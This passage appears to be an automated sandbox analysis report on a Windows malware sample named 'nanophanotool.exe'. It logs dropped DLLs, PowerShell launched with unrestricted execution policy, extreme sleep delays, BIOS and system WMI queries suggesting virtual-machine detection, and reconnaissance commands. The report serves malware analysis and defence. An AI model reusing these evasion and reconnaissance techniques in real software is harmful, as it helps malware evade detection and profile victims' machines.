      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6202
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6080
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4053
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 988
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 811
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1641
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1095
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 431
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2687
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 815
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7404
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2161
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6441
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3229
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5810
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3725
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1428
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1986
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2782
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 522
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1159
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2403
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1824
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\nsis7z.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\resources\elevate.exeJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\d3dcompiler_47.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\nanophanotool.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2500Thread sleep count: 6202 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4476Thread sleep count: 252 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2084Thread sleep time: -2767011611056431s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2640Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776Thread sleep count: 6080 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048Thread sleep time: -3689348814741908s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772Thread sleep count: 4053 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5440Thread sleep count: 56 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1700Thread sleep time: -2767011611056431s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1508Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5472Thread sleep count: 988 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4908Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2496Thread sleep count: 811 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428Thread sleep time: -8301034833169293s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2140Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7364Thread sleep count: 1641 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3872Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5888Thread sleep count: 1095 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5440Thread sleep count: 431 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4476Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3584Thread sleep count: 2687 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840Thread sleep time: -1844674407370954s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4900Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5180Thread sleep count: 815 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1928Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1856Thread sleep count: 7404 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6932Thread sleep count: 2161 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3520Thread sleep time: -3689348814741908s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724Thread sleep count: 6441 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724Thread sleep count: 3229 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5184Thread sleep time: -3689348814741908s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4908Thread sleep count: 5810 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448Thread sleep count: 95 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1168Thread sleep time: -7378697629483816s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4908Thread sleep count: 3725 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3872Thread sleep count: 1428 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012Thread sleep count: 1986 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6072Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3152Thread sleep count: 2782 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3684Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3152Thread sleep count: 522 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2424Thread sleep count: 1159 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5696Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4900Thread sleep count: 2403 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4412Thread sleep time: -2767011611056431s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3592Thread sleep time: -922337203685477s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3720Thread sleep count: 1824 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3060Thread sleep time: -11990383647911201s >= -30000s
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.com TID: 7832Thread sleep time: -90000s >= -30000s
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
      Source: C:\Users\user\AppData\Local\Temp\254268\Ford.comWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
      Source: C:\Users\user\Desktop\nanophanotool.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile Volume queried: C:\Users\user FullSizeInformation
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeFile Volume queried: C:\Users\user FullSizeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\userJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\resourcesJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\localesJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\Desktop\nanophanotool.exeJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\app-64.7zJump to behavior
      Source: libGLESv2.dll.0.drBinary or memory string: VMware
      Source: NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: VMware Fusion 4 has corrupt rendering with Win Vista+
      Source: libGLESv2.dll.0.drBinary or memory string: IIAMDARMAppleBroadcomGoogleIntelMesaMicrosoftNVIDIAImagination TechnologiesQualcommSamsung Electronics Co., Ltd.VivanteVMwareVirtIOTestX
      Source: libGLESv2.dll.0.drBinary or memory string: (IsLinux() && isVMWare) || (IsAndroid() && isNvidia) || (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) || (IsAndroid() && IsMaliT8xxOrOlder(functions)) || (IsAndroid() && IsMaliG31OrOlder(functions))
      Source: NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: VMware can crash with older drivers and WebGL content
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess information queried: ProcessInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1828 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --mojo-platform-channel-handle=2112 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
